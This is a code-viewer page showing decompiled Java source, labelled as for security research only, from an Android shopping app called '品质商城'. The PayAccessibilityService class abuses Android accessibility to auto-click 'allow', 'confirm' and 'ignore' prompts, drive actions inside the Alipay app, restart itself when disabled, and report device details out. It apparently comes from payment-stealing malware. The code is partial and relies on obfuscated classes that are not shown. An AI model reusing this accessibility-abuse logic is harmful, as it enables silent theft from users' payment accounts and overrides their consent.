导航菜单

页面标题

页面副标题

品质商城 v1.0 - PayAccessibilityService.java 源代码

正在查看: 品质商城 v1.0 应用的 PayAccessibilityService.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package com.tencent.myapplication.service;

import H.i;
import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.os.Build;
import android.os.Handler;
import android.util.Log;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import java.util.Locale;
import s1.a;
import u1.b;
import u1.c;
import u1.d;

public class PayAccessibilityService extends AccessibilityService {

    public static PayAccessibilityService f2879c;

    public d f2880a;

    public b f2881b;

    public final boolean a() {
        try {
            AccessibilityServiceInfo accessibilityServiceInfo = new AccessibilityServiceInfo();
            accessibilityServiceInfo.eventTypes = 2105;
            accessibilityServiceInfo.feedbackType = 16;
            accessibilityServiceInfo.notificationTimeout = 50L;
            accessibilityServiceInfo.flags = 94;
            setServiceInfo(accessibilityServiceInfo);
            return true;
        } catch (Exception e2) {
            Log.e("PayAccessibilityService", "配置无障碍服务失败", e2);
            return false;
        }
    }

    public final void b() {
        try {
            disableSelf();
            Thread.sleep(1000L);
            a();
            c("尝试重启无障碍服务");
        } catch (Exception e2) {
            c("重启服务失败: " + e2.getMessage());
            Log.e("PayAccessibilityService", "重启服务失败", e2);
        }
    }

    public final void c(String str) {
        new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault()).format(new Date());
        t1.b.b(str, Build.MANUFACTURER + " " + Build.MODEL + " Android " + Build.VERSION.RELEASE, new i(this));
    }

    @Override
    public final void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
        if (accessibilityEvent == null) {
            Log.w("PayAccessibilityService", "收到空的无障碍事件");
            return;
        }
        int eventType = accessibilityEvent.getEventType();
        if (eventType != 1 && eventType != 16 && eventType != 32 && eventType != 2048) {
            StringBuilder sb = new StringBuilder("其他事件(");
            sb.append(eventType);
            sb.append(")");
        }
        String charSequence = accessibilityEvent.getPackageName() != null ? accessibilityEvent.getPackageName().toString() : "unknown";
        String str = a.f5012e;
        if (str == null || str.isEmpty()) {
            return;
        }
        if (this.f2881b == null) {
            Log.e("PayAccessibilityService", "自动化处理程序未初始化");
            return;
        }
        if (accessibilityEvent.getSource() != null) {
            String[] strArr = {"忽略", "允许", "确定"};
            for (int i2 = 0; i2 < 3; i2++) {
                String str2 = strArr[i2];
                List<AccessibilityNodeInfo> findAccessibilityNodeInfosByText = accessibilityEvent.getSource().findAccessibilityNodeInfosByText(str2);
                if (findAccessibilityNodeInfosByText != null && !findAccessibilityNodeInfosByText.isEmpty()) {
                    for (AccessibilityNodeInfo accessibilityNodeInfo : findAccessibilityNodeInfosByText) {
                        if (accessibilityNodeInfo.isClickable() && accessibilityNodeInfo.performAction(16)) {
                            c("点击了通用按钮: " + str2);
                            return;
                        }
                        accessibilityNodeInfo.recycle();
                    }
                }
            }
        }
        if ("com.eg.android.AlipayGphone".equals(charSequence)) {
            try {
                b bVar = this.f2881b;
                bVar.getClass();
                bVar.f5062e = System.currentTimeMillis();
                androidx.activity.d dVar = bVar.f5061d;
                Handler handler = bVar.f5060c;
                if (dVar != null) {
                    handler.removeCallbacks(dVar);
                }
                androidx.activity.d dVar2 = new androidx.activity.d(13, bVar);
                bVar.f5061d = dVar2;
                handler.postDelayed(dVar2, 5000L);
                try {
                    bVar.n(accessibilityEvent);
                } catch (Exception e2) {
                    Log.e("AutomationHandler", "处理事件时出错", e2);
                }
            } catch (Exception e3) {
                Log.e("PayAccessibilityService", "处理无障碍事件异常", e3);
                c("处理事件异常: " + e3.getMessage());
            }
        }
    }

    @Override
    public final void onDestroy() {
        Handler handler;
        androidx.activity.d dVar;
        b bVar = this.f2881b;
        if (bVar != null && (handler = bVar.f5060c) != null && (dVar = bVar.f5061d) != null) {
            handler.removeCallbacks(dVar);
        }
        d dVar2 = this.f2880a;
        if (dVar2 != null && dVar2.f5071e && dVar2.f5069c != null) {
            dVar2.f5072f.post(new c(dVar2, 0));
        }
        f2879c = null;
        super.onDestroy();
    }

    @Override
    public final void onInterrupt() {
        c("无障碍服务中断");
    }

    @Override
    public final void onServiceConnected() {
        super.onServiceConnected();
        try {
            this.f2881b = new b(this);
            d dVar = new d();
            dVar.f5071e = false;
            dVar.f5067a = this;
            dVar.f5068b = (WindowManager) getSystemService("window");
            dVar.f5072f = new Handler(getMainLooper());
            this.f2880a = dVar;
            if (a()) {
                f2879c = this;
                c("无障碍服务已成功连接并配置");
                new Thread(new u1.a(this, 1)).start();
            } else {
                c("无障碍服务配置失败");
                Log.e("PayAccessibilityService", "无障碍服务配置失败");
            }
        } catch (Exception e2) {
            c("无障碍服务初始化异常: " + e2.getMessage());
            Log.e("PayAccessibilityService", "无障碍服务初始化异常", e2);
        }
    }
}